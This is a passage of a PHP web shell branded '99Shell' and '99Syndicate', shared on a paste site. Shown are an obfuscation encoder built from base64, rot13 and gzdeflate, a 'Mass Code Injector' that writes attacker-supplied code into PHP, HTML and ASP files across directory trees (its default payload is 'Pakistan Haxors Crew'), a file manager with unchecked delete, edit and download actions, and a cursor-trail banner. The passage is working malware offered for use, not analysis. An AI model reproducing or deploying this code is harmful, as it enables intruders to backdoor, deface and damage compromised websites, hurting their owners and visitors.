  2526.                 $codi = (base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  2527.             break;
  2528.             case 'gzinflate':
  2529.                 $codi = base64_encode(gzdeflate(str_rot13($text)));
  2530.             break;
  2531.             case 'jancok':
  2532.                 $codi = base64_encode(str_rot13($text));
  2533.             break;
  2534.             case 'gzinflates':
  2535.                 $codi = base64_encode(gzdeflate($text));
  2536.             break;
  2537.             case 'str2':
  2538.                 $codi = base64_encode(str_rot13($text));
  2539.             break;
  2540.             case 'urlencode':
  2541.                 $codi = rawurlencode($text);
  2542.             break;
  2543.             case 'Pelo':
  2544.                 $codi = base64_encode(str_rot13(gzdeflate($text)));
  2545.             break;
  2546.             case 'ur':
  2547.                 $codi = convert_uuencode($text);
  2548.             break;
  2549.             case 'url':
  2550.                 $codi = base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
  2551.             break;
  2552.             default:
  2553.             break;
  2554.         }
  2555.     }
  2556.     echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center><BR><BR>';
  2557. }
  2558. elseif($_GET['do'] == 'code') {
  2559. echo '<center><h1>Mass Code Injector</h1></center>';
  2560.     echo '<div class="content">';
  2561.    
  2562.     if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  2563.     function get_structure($path,$depth) {
  2564.         global $DS;
  2565.         $res = array();
  2566.         if(in_array(0, $depth)) { $res[] = $path; }
  2567.         if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  2568.             $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  2569.             if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  2570.         }
  2571.         if(in_array(2, $depth) or in_array(3, $depth)) {
  2572.             $tmp2 = array();
  2573.             foreach($tmp1 as $t){
  2574.                 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  2575.                 $tmp2 = array_merge($tmp2, $tp2);
  2576.             }
  2577.             if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  2578.         }
  2579.         if(in_array(3, $depth)) {
  2580.             $tmp3 = array();
  2581.             foreach($tmp2 as $t){
  2582.                 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  2583.                 $tmp3 = array_merge($tmp3, $tp3);
  2584.             }
  2585.             $res = array_merge($res,$tmp3);
  2586.         }
  2587.         return $res;
  2588.     }
  2589.  
  2590.     if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  2591.         $name = $_POST['name'] ? $_POST['name'] : '*';
  2592.         $type = $_POST['type'] ? $_POST['type'] : 'html';
  2593.         $path = $_POST['path'] ? $_POST['path'] : getcwd();
  2594.         $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
  2595.         $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  2596.         $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  2597.         $dt = get_structure($path,$depth);
  2598.         foreach ($dt as $d) {
  2599.             if($mode == 'a') {
  2600.                 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  2601.                     echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  2602.                 } else {
  2603.                     echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  2604.                 }
  2605.             } else {
  2606.                 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  2607.                     echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  2608.                 } else {
  2609.                     echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  2610.                 }
  2611.             }        
  2612.         }
  2613.     } else {
  2614.         echo '<form method="post" action="">
  2615.                <table align="center">
  2616.                    <tr>
  2617.                        <td>Directory : </td>
  2618.                        <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  2619.                    </tr>
  2620.                    <tr>
  2621.                        <td class="title">Mode : </td>
  2622.                        <td>
  2623.                            <select style="width: 100px;" name="mode" class="box">
  2624.                                <option value="a">Apender</option>
  2625.                                <option value="w">Overwriter</option>
  2626.                            </select>
  2627.                        </td>
  2628.                    </tr>
  2629.                    <tr>
  2630.                        <td class="title">File Name & Type : </td>
  2631.                        <td>
  2632.                            <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  2633.                            <select style="width: 100px;" name="type" class="box">
  2634.                            <option value="html">HTML</option>
  2635.                            <option value="htm">HTM</option>
  2636.                            <option value="php" selected="selected">PHP</option>
  2637.                            <option value="asp">ASP</option>
  2638.                            <option value="aspx">ASPX</option>
  2639.                            <option value="xml">XML</option>
  2640.                            <option value="txt">TXT</option>
  2641.                        </select></td>
  2642.                    </tr>
  2643.                    <tr>
  2644.                        <td class="title">Code Inject Depth : </td>
  2645.                        <td>
  2646.                            <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  2647.                            <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  2648.                            <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  2649.                            <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  2650.                        </td>
  2651.                    </tr>        
  2652.                    <tr>
  2653.                        <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  2654.                    </tr>                        
  2655.                    <tr>
  2656.                        <td colspan="2" style="text-align: center;">
  2657.                            <input type="hidden" name="a" value="Injector">
  2658.                            <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  2659.                            <input type="hidden" name="p1">
  2660.                            <input type="hidden" name="p2">
  2661.                            <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  2662.                            <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  2663.                    </tr>
  2664.                </table>
  2665.        </form>';
  2666.     }
  2667.     echo '</div>';
  2668.  
  2669. } elseif($_GET['act'] == 'delete') {
  2670.     $delete = unlink($_GET['file']);
  2671.     if($delete) {
  2672.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2673.     } else {
  2674.         $act = "<font color=red>permission denied</font>";
  2675.     }
  2676.     echo $act;
  2677. } else {
  2678.     if(is_dir($dir) === true) {
  2679.         if(!is_readable($dir)) {
  2680.             echo "<font color=red>can't open directory. ( not readable )</font>";
  2681.         } else {
  2682.             echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2683.             <tr>
  2684.             <th class="th_home"><center>Name</center></th>
  2685.             <th class="th_home"><center>Type</center></th>
  2686.             <th class="th_home"><center>Size</center></th>
  2687.             <th class="th_home"><center>Last Modified</center></th>
  2688.             <th class="th_home"><center>Owner/Group</center></th>
  2689.             <th class="th_home"><center>Permission</center></th>
  2690.             <th class="th_home"><center>Action</center></th>
  2691.             </tr>';
  2692.             $scandir = scandir($dir);
  2693.             foreach($scandir as $dirx) {
  2694.                 $dtype = filetype("$dir/$dirx");
  2695.                 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2696.                 if(function_exists('posix_getpwuid')) {
  2697.                     $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  2698.                     $downer = $downer['name'];
  2699.                 } else {
  2700.                     //$downer = $uid;
  2701.                     $downer = fileowner("$dir/$dirx");
  2702.                 }
  2703.                 if(function_exists('posix_getgrgid')) {
  2704.                     $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  2705.                     $dgrp = $dgrp['name'];
  2706.                 } else {
  2707.                     $dgrp = filegroup("$dir/$dirx");
  2708.                 }
  2709.                 if(!is_dir("$dir/$dirx")) continue;
  2710.                 if($dirx === '..') {
  2711.                     $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2712.                 } elseif($dirx === '.') {
  2713.                     $href = "<a href='?dir=$dir'>$dirx</a>";
  2714.                 } else {
  2715.                     $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2716.                 }
  2717.                 if($dirx === '.' || $dirx === '..') {
  2718.                     $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2719.                     } else {
  2720.                     $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2721.                 }
  2722.                 echo "<tr>";
  2723.                 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2724.                 echo "<td class='td_home'><center>$dtype</center></td>";
  2725.                 echo "<td class='td_home'><center>-</center></th></td>";
  2726.                 echo "<td class='td_home'><center>$dtime</center></td>";
  2727.                 echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  2728.                 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2729.                 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2730.                 echo "</tr>";
  2731.             }
  2732.         }
  2733.     } else {
  2734.         echo "<font color=red>can't open directory.</font>";
  2735.     }
  2736.         foreach($scandir as $file) {
  2737.             $ftype = filetype("$dir/$file");
  2738.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2739.             $size = filesize("$dir/$file")/1024;
  2740.             $size = round($size,3);
  2741.             if(function_exists('posix_getpwuid')) {
  2742.                 $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  2743.                 $fowner = $fowner['name'];
  2744.             } else {
  2745.                 //$downer = $uid;
  2746.                 $fowner = fileowner("$dir/$file");
  2747.             }
  2748.             if(function_exists('posix_getgrgid')) {
  2749.                 $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  2750.                 $fgrp = $fgrp['name'];
  2751.             } else {
  2752.                 $fgrp = filegroup("$dir/$file");
  2753.             }
  2754.             if($size > 1024) {
  2755.                 $size = round($size/1024,2). 'MB';
  2756.             } else {
  2757.                 $size = $size. 'KB';
  2758.             }
  2759.             if(!is_file("$dir/$file")) continue;
  2760.             echo "<tr>";
  2761.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2762.             echo "<td class='td_home'><center>$ftype</center></td>";
  2763.             echo "<td class='td_home'><center>$size</center></td>";
  2764.             echo "<td class='td_home'><center>$ftime</center></td>";
  2765.             echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  2766.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2767.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2768.             echo "</tr>";
  2769.         }
  2770.         echo "</table>";
  2771.         if(!is_readable($dir)) {
  2772.             //
  2773.         } else {
  2774.             echo "<hr>";
  2775.         }
  2776.     echo "<center>99<font color=lime>Shell</font><br></center><center>";
  2777. }
  2778. ?>
  2779. <script language="javascript">
  2780. var text='99Syndicate';
  2781. var delay=5;
  2782. var Xoff=0;
  2783. var Yoff=-30;
  2784. var txtw=10;
  2785. var beghtml='<font face="Iceland" color="white" size="5em">';
  2786. var endhtml='</font>';
  2787. ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true: false;
  2788. ie4 = (document.all && !document.getElementById)? true : false;
  2789. ie5 = (document.all && document.getElementById)? true : false;
  2790. ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;
  2791. var txtA=new Array();
  2792. text=text.split('');
  2793. var x1=0;
  2794. var y1=-50;
  2795. var t='';
  2796. for(i=1;i<=text.length;i++){
  2797. t+=(ns4)? '<layer left="0" top="-100" width="'+txtw+'" name="txt'+i+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';
  2798. t+=beghtml+text[i-1]+endhtml;
  2799. t+=(ns4)? '</layer>' : '</div>';
  2800. }
  2801. document.write(t);
  2802. function moveid(id,x,y){
  2803. if(ns4)id.moveTo(x,y);
  2804. else{
  2805. id.style.left=x+'px';
  2806. id.style.top=y+'px';
  2807. }}
  2808. function animate(evt){
  2809. x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);
  2810. y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);
  2811. }
  2812. function getidleft(id){
  2813. if(ns4)return id.left;
  2814. else return parseInt(id.style.left);
  2815. }
  2816. function getidtop(id){
  2817. if(ns4)return id.top;
  2818. else return parseInt(id.style.top);
  2819. }
  2820. function getwindowwidth(){
  2821. if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;
  2822. else return window.innerWidth+pageXOffset;
  2823. }
  2824. function movetxts(){
  2825. for(i=text.length;i>1;i=i-1){
  2826. if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){
  2827. moveid(txtA[i-1],0,-100);
  2828. moveid(txtA[i],0,-100);
  2829. }else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));
  2830. }
  2831. moveid(txtA[1],x1,y1);
  2832. }
  2833. window.onload=function(){
  2834. for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);
  2835. if(ns4)document.captureEvents(Event.MOUSEMOVE);
  2836. document.onmousemove=animate;
  2837. setInterval('movetxts()',delay);
  2838. }
  2839. </script>
  2840. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!